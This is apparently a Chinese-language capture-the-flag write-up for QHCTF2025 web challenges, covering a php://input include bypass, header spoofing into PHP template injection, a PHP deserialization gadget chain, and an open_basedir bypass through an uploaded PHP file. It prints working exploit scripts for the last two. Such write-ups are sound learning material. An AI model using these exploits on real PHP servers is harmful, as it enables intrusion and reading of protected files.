LOADING

首次加载会比较慢,果咩~

请打开缓存,下次打开就会很快啦

WP FOR QHCTF2025

#Easy_include

  利用php://input伪协议可以绕过waf

#Web_IP

  通过hint想到确定ip的方法,试试看能不能通过http头伪造,成功,尝试ssti。{{7*7}}成功输出49。尝试{{config}}发现报错,注意到是php写的页面,则可以确认是php的ssti。那么尝试直接rce,成功。

#Web_pop

  php反序列化,常规题;注意把private和protected属性改为public。
  EXP:

<?php
class Start{
    public $name;
    public $func;
 
    // public function __destruct()
    // {
    //     echo "Welcome to QHCTF 2025, ".$this->name; //tostring
    // }
 
    // public function __isset($var)
    // {
    //     ($this->func)(); //invoke
    // }
}
 
class Sec{
    public $obj;
    public $var;
 
    // public function __toString()
    // {
    //     $this->obj->check($this->var); //call 
    //     return "CTFers";
    // }
 
    // public function __invoke()
    // {
    //     echo file_get_contents('/flag');
    // }
}
 
class Easy{
    public $cla;
 
    // public function __call($fun, $var) 
    // {
    //     $this->cla = clone $var[0];
    // }
}
 
class eeee{
    public $obj;
 
    // public function __clone()
    // {
    //     if(isset($this->obj->cmd)){
    //         echo "success";
    //     }
    // }
}
$a = new Start();
$b = new Sec();
$c = new Easy();
$d = new eeee();

$a -> name = $b;
$a -> func = $b;
$b -> obj = $c;
$b -> var = $d;
$c -> cla = $d;
$d -> obj = $a;
echo serialize($a);

#PCREMagic

  phprce(并非),但是ban了很多很多函数,整了好久。考点是open_basedir的绕过。
  本题直接给出了源码,只要上传txt文件(APIfox是真挺好用的)就可以使之解析为php。有个对eval的过滤,感觉意义不明。可以查看phpinfo,发现禁用了一堆函数,没法直接rce了,那就只能找其他法子。
  POC:

<?php
function is_php($data){
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
 
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
 
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true);
    }
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
 
    header("Location: $path", true, 303);
    exit;
}
?> 

  利用php中open_basedir的特性,将其设为根目录,用glob()获取目录下文件或目录,再用file_get_contents读取文件内容就行。
  EXP:

<?php
        print_r(ini_get('open_basedir')."\n");
        
        mkdir('test');
        chdir('test');
        ini_set('open_basedir','..');
        chdir('..');
        chdir('..');
        chdir('..');
        chdir('..');
        chdir('..');
        chdir('..');
        ini_set('open_basedir','/');
        
        print_r(ini_get('open_basedir')."\n");
        echo getcwd() . "\n";
        print_r(glob('*'));
        echo file_get_contents('flag');
?>

参考~🥰: